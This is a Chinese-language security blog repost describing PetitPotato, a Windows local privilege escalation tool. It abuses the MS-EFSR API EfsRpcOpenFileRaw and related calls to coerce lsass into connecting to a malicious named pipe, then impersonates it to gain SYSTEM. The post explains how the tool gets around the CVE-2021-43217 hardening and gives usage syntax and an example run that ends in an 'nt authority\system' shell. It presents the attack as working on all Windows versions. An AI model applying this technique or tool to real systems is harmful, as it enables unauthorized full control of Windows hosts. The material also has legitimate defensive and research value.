通过滥用模拟特权实现本地权限提升的 PetitPotam(攻击模拟特权)
作者:Sec-Labs | 发布时间:
项目地址
https://github.com/wh0amitz/PetitPotato
PetitPotato
通过滥用模拟特权实现本地权限提升的 PetitPotam。
描述
PetitPotam 利用 MS-EFSR(加密文件系统远程)协议,在远程存储的加密数据上执行维护和管理操作,并通过网络访问。MS-EFSR 中有一系列类似于 EfsRpcOpenFileRaw 的 API。下面是 EfsRpcOpenFileRaw API 的语法:
long EfsRpcOpenFileRaw(
[in] handle_t binding_h,
[out] PEXIMPORT_CONTEXT_HANDLE* hContext,
[in, string] wchar_t* FileName,
[in] long Flags
);
这些 API 可以通过 FileName 参数指定 UNC 路径来打开服务器上的加密对象以备份或还原。当指定路径格式为 \\IP\C$ 时,lsass.exe 服务将使用 NT AUTHORITY SYSTEM 帐户权限访问 \\IP\pipe\srvsvc。
如果我们可以调用 EfsRpcOpenFileRaw API 强制本地计算机连接到我们创建的恶意命名管道,那么我们可以模拟命名管道客户端进程并最终获得 SYSTEM 权限。
但旧版 PetitPotam 由于相关补丁的限制,在较新的 Windows 版本上无法使用。但是,在调用 EFS 之前通过 RpcBindingSetAuthInfoW 将 AuthnLevel 设置为 RPC_C_AUTHN_LEVEL_PKT_PRIVACY 在最新的系统上有效。
在2021年12月,微软发布了针对不同的 EFSRPC 漏洞的补丁:CVE-2021-43217。作为解决该问题的一部分,微软在 EFSRPC 通信上实施了一些硬化措施。特别是,当使用 EFSRPC 时,EFSRPC 客户端需要使用 RPC_C_AUTHN_LEVEL_PKT_PRIVACY。如果客户端未能这样做,则客户端将被拒绝,并生成 Windows 应用程序事件。
目前,该项目可以在所有 Windows 版本上完美提升为 SYSTEM 权限(在 Windows 21H2 10.0.20348.1547 上进行了测试)。
使用方法
PetitPotato.exe [EfsID] [Command]
EfsID:要使用的 MS-EFSR API 编号Command:要执行的命令
示例
C:\Users\Administrator\Desktop>PetitPotato.exe 3 cmd
[+] Malicious named pipe running on \\.\pipe\petit\pipe\srvsvc.
[+] Invoking EfsRpcQueryUsersOnFile with target path: \\localhost/pipe/petit\C$\wh0nqs.txt.
[+] The connection is successful.
[+] ImpersonateNamedPipeClient OK.
[+] OpenThreadToken OK.
[+] DuplicateTokenEx OK.
[+] CreateProcessAsUser OK.
Microsoft Windows [Version 10.0.20348.1547]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>

链接
- https://github.com/topotam/PetitPotam
- https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
- https://itm4n.github.io/from-rpcview-to-petitpotam/
- zcgonvh/EfsPotato#5